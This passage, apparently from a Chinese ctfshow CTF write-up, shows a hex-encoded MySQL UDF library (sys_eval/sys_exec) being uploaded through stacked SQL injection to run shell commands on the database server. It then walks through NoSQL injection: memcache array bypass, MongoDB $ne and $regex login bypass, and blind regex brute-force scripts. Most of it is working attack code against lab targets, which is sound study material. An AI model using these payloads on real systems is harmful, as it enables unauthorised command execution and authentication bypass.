00000000000000092000000010000000200000000000000441200000000000044120000000000008400000000000000000000000000000004000000000000000000000000000000A0000000010000000200000000000000C812000000000000C812000000000000FC01000000000000000000000000000008000000000000000000000000000000AA000000010000000300000000000000C814200000000000C8140000000000001000000000000000000000000000000008000000000000000000000000000000B1000000010000000300000000000000D814200000000000D8140000000000001000000000000000000000000000000008000000000000000000000000000000B8000000010000000300000000000000E814200000000000E8140000000000000800000000000000000000000000000008000000000000000000000000000000BD000000010000000300000000000000F014200000000000F0140000000000000800000000000000000000000000000008000000000000000000000000000000CA000000060000000300000000000000F814200000000000F8140000000000008001000000000000040000000000000008000000000000001000000000000000D3000000010000000300000000000000781620000000000078160000000000001800000000000000000000000000000008000000000000000800000000000000D8000000010000000300000000000000901620000000000090160000000000008000000000000000000000000000000008000000000000000800000000000000E1000000080000000300000000000000101720000000000010170000000000001000000000000000000000000000000008000000000000000000000000000000E60000000100000030000000000000000000000000000000101700000000000059000000000000000000000000000000010000000000000001000000000000001100000003000000000000000000000000000000000000006917000000000000EF00000000000000000000000000000001000000000000000000000000000000010000000200000000000000000000000000000000000000581F00000000000068070000000000001B0000002C00000008000000000000001800000000000000090000000300000000000000000000000000000000000000C02600000000000042030000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000003000100900100000000000000000000000000000000000003000200B80100000000000000000000000000000000000003000300700200000000000000000000000000000000000003000400E80500000000000000000000000000000000000003000500860700000000000000000000000000000000000003000600D00700000000000000000000000000000000000003000700F00700000000000000000000000000000000000003000800500800000000000000000000000000000000000003000900880900000000000000000000000000000000000003000A00A00900000000000000000000000000000000000003000B00800A00000000000000000000000000000000000003000C00481100000000000000000000000000000000000003000D00581100000000000000000000000000000000000003000E00441200000000000000000000000000000000000003000F00C81200000000000000000000000000000000000003001000C81420000000000000000000000000000000000003001100D81420000000000000000000000000000000000003001200E81420000000000000000000000000000000000003001300F01420000000000000000000000000000000000003001400F81420000000000000000000000000000000000003001500781620000000000000000000000000000000000003001600901620000000000000000000000000000000000003001700101720000000000000000000000000000000000003001800000000000000000000000000000000000100000002000B00800A0000000000000000000000000000110000000400F1FF000000000000000000000000000000001C00000001001000C81420000000000000000000000000002A00000001001100D81420000000000000000000000000003800000001001200E81420000000000000000000000000004500000002000B00A00A00000000000000000000000000005B00000001001700101720000000000001000000000000006A00000001001700181720000000000008000000000000007800000002000B00200B0000000000000000000000000000110000000400F1FF000000000000000000000000000000008400000001001000D01420000000000000000000000000009100000001000F00C01400000000000000000000000000009F00000001001200E8142000000000000000000000000000AB00000002000B0010110000000000000000000000000000C10000000400F1FF00000000000000000000000000000000D40000000100F1FF90162000000000000000000000000000EA00000001001300F0142000000000000000000000000000F700000001001100E0142000000000000000000000000000040100000100F1FFF81420000000000000000000000000000D01000012000B00D10D000000000000D1000000000000001501000012000B00130F0000000000002F000000000000001E01000020000000000000000000000000000000000000002D01000020000000000000000000000000000000000000004101000012000C00481100000000000000000000000000004701000012000B00A90F0000000000000A000000000000005701000012000000000000000000000000000000000000006B01000012000000000000000000000000000000000000007F01000012000B00A20E00000000000067000000000000008D01000012000B00B30F0000000000005501000000000000960100001200000000000000000000000000000000000000A901000012000B00950B0000000000000A00000000000000C601000012000B00B50C000000000000F100000000000000D30100001200000000000000000000000000000000000000E50100001200000000000000000000000000000000000000F901000012000000000000000000000000000000000000000D02000012000B004C0B00000000000049000000000000002802000022000000000000000000000000000000000000004402000012000B00A60D0000000000002B000000000000005302000012000B00EB0B0000000000005D000000000000006002000012000B00480C0000000000000A000000000000006F02000012000000000000000000000000000000000000008302000012000B00420F0000000000006700000000000000910200001200000000000000000000000000000000000000A50200001200000000000000000000000000000000000000B902000012000B00520C0000000000006300000000000000C10200001000F1FF10172000000000000000000000000000CD02000012000B009F0B0000000000004C00000000000000E30200001000F1FF20172000000000000000000000000000E80200001200000000000000000000000000000000000000FD02000012000B00090F0000000000000A000000000000000D0300001200000000000000000000000000000000000000220300001000F1FF101720000000000000000000000000002903000012000000000000000000000000000000000000003C03000012000900880900000000000000000000000000000063616C6C5F676D6F6E5F73746172740063727473747566662E63005F5F43544F525F4C4953545F5F005F5F44544F525F4C4953545F5F005F5F4A43525F4C4953545F5F005F5F646F5F676C6F62616C5F64746F72735F61757800636F6D706C657465642E363335320064746F725F6964782E36333534006672616D655F64756D6D79005F5F43544F525F454E445F5F005F5F4652414D455F454E445F5F005F5F4A43525F454E445F5F005F5F646F5F676C6F62616C5F63746F72735F617578006C69625F6D7973716C7564665F7379732E63005F474C4F42414C5F4F46465345545F5441424C455F005F5F64736F5F68616E646C65005F5F44544F525F454E445F5F005F44594E414D4943007379735F736574007379735F65786563005F5F676D6F6E5F73746172745F5F005F4A765F5265676973746572436C6173736573005F66696E69007379735F6576616C5F6465696E6974006D616C6C6F634040474C4942435F322E322E350073797374656D4040474C4942435F322E322E35007379735F657865635F696E6974007379735F6576616C0066676574734040474C4942435F322E322E35006C69625F6D7973716C7564665F7379735F696E666F5F6465696E6974007379735F7365745F696E697400667265654040474C4942435F322E322E35007374726C656E4040474C4942435F322E322E350070636C6F73654040474C4942435F322E322E35006C69625F6D7973716C7564665F7379735F696E666F5F696E6974005F5F6378615F66696E616C697A654040474C4942435F322E322E35007379735F7365745F6465696E6974007379735F6765745F696E6974007379735F6765745F6465696E6974006D656D6370794040474C4942435F322E322E35007379735F6576616C5F696E697400736574656E764040474C4942435F322E322E3500676574656E764040474C4942435F322E322E35007379735F676574005F5F6273735F7374617274006C69625F6D7973716C7564665F7379735F696E666F005F656E64007374726E6370794040474C4942435F322E322E35007379735F657865635F6465696E6974007265616C6C6F634040474C4942435F322E322E35005F656461746100706F70656E4040474C4942435F322E322E35005F696E697400' codes = [] for i in range (0 , len (code), 128 ): codes.append(code[i:min (i + 128 , len (code))]) sql = '''create table temp(data longblob)''' payload = '''0';{};-- A''' .format (sql) requests.get(url + payload) sql = '''delete from temp''' payload = '''0';{};-- A''' .format (sql) requests.get(url + payload) sql = '''insert into temp(data) values (0x{})''' .format (codes[0 ]) payload = '''0';{};-- A''' .format (sql) requests.get(url + payload) for k in range (1 , len (codes)): sql = '''update temp set data = concat(data,0x{})''' .format (codes[k]) payload = '''0';{};-- A''' .format (sql) requests.get(url + payload) sql = '''select data from temp into dumpfile '/usr/lib/mariadb/plugin/udf.so\'''' payload = '''0';{};-- A''' .format (sql) requests.get(url + payload) sql = '''create function sys_eval returns string soname 'udf.so\'''' payload = '''0';{};-- A''' .format (sql) requests.get(url + payload) sql = '''update ctfshow_user set pass=(select sys_eval('cat /flag.her?'))''' payload = '''0';{};-- A''' .format (sql) requests.get(url + payload) r = requests.get(url[:-4 ] + '?page=1&limit=10' ) print (r.text)
nosql注入 web249 1 2 $user = $memcache ->get ($id );
无过滤的nosql,是使用了memcache类中的get方法去返回数据的
当 get() 接收到一个数组时,它会尝试获取数组中所有元素对应的键。
所以这里直接用数组绕过
web250 首先看下查询语句和返回逻辑
1 2 3 4 5 6 7 8 9 10 11 sql语句 $query = new MongoDB\Driver\Query($data ); $cursor = $manager ->executeQuery('ctfshow.ctfshow_user' , $query )->toArray(); 返回逻辑 if (count($cursor )>0 ){ $ret ['msg' ]='登陆成功' ; array_push($ret ['data' ], $flag ); }
这里的用的MongoDB\Driver\Manager::executeQuery方法去进行执行数据库查询的
如果返回数据大于0的话就会显示登录成功,但是这里的话我们是不知道具体的数据有哪些的
这里的话可以用操作符去进行重言式注入
在mongodb中,要求的查询语句是json格式,如{"username": "admin", "password": "admin"},在php中,json就是数组,也就是Array('username'=> 'admin', 'password'=> 'admin'),同时MongoDB要求的json格式中,是可以利用操作符进行条件查询的,例如如这样的json: {"username": "admin", "password": {"$regex": '^abc$'}},会匹配密码abc,也就是说,如果键对应的值是一个字符串,那么就相当于条件等于,只不过省去了json,如果键对应的值是json对象,就代表是条件查询
1 $data = array ("username" => "admin" , "password" => array ("\$ne" => 1 ));测一下
查询我们的username为admin但password不为1的内容
所以我们的payload
注入点在/api/中post传参
1 username =admin&password[$ne ]=1
通过构造 password[$ne]=1,可以绕过对 password 字段的精确匹配,只要 password 不等于 1,查询就会成功。
web251 也是无过滤,继续上次的payload,但是发现用户为admin的password不是flag,看看非admin用户
1 username[$ ne ]=admin&password[$ ne ]=1
发现一个flag用户密码为flag
web252 sql语句变了
1 2 db.ctfshow_user .find ({username:'$username' ,password:'$password' }).pretty ()
这个的话就是MongoDB的查询文档语句了
用上题的payload发现出来一个admin1
1 username[$ ne ]=1 &password[$ regex]=ctfshow{
这里的话用regex去匹配密码为ctfshow{的结果
还有其他几个payload
1 username[$regex ]=^[^admin ]&password[$ne ]=1
web253 传入
1 username[$ ne ]=1 &password[$ ne ]=1
发现显示查询成功但是并没有回显,只能打盲注了,但是这里不知道username是什么,先爆一下username
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import requestsimport stringtable = string.digits+string.ascii_lowercase+string.ascii_uppercase+'_{}-,' url = "http://3a2976ee-9b69-4dae-a8cb-44a6906cacef.challenge.ctf.show/api/" target = "" for i in range (100 ): for j in table: temp_target = target + j data = { "username[$regex]" : f"^[^admin]{temp_target} .*$" , "password[$ne]" : 1 , } r = requests.post(url, data=data) if r"\u767b\u9646\u6210\u529f" in r.text: target += j print (target) //ql_flag
这里的话会查出开头不是admin的其他用户名,然后根据这个用户名爆flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import requestsimport stringtable = string.digits+string.ascii_lowercase+string.ascii_uppercase+'_{}-,' url = "http://3a2976ee-9b69-4dae-a8cb-44a6906cacef.challenge.ctf.show/api/" target = "" for i in range (100 ): for j in table: temp_target = target + j data1 = { "username[$regex]" : f"^[^admin]{temp_target} .*$" , "password[$ne]" : 1 , } payload2 = f'^{temp_target} .*$' data2 = { 'username[$regex]' : '^[^admin]ql_flag' , 'password[$regex]' : payload2 } r = requests.post(url, data=data2) if r"\u767b\u9646\u6210\u529f" in r.text: target += j print (target)
总结 其实这次也算第二次做了,之前只是做了一半,这次重新开始做,但总体的速度还是不错的,整个花了四天左右去做完了,虽然题不多但是含金量真的挺高的,学到了很多注入的方法和绕过手法
特别是感觉到这次做的时候比上次做收获更大,学到了更多的东西,对sql的理解也更透彻了一些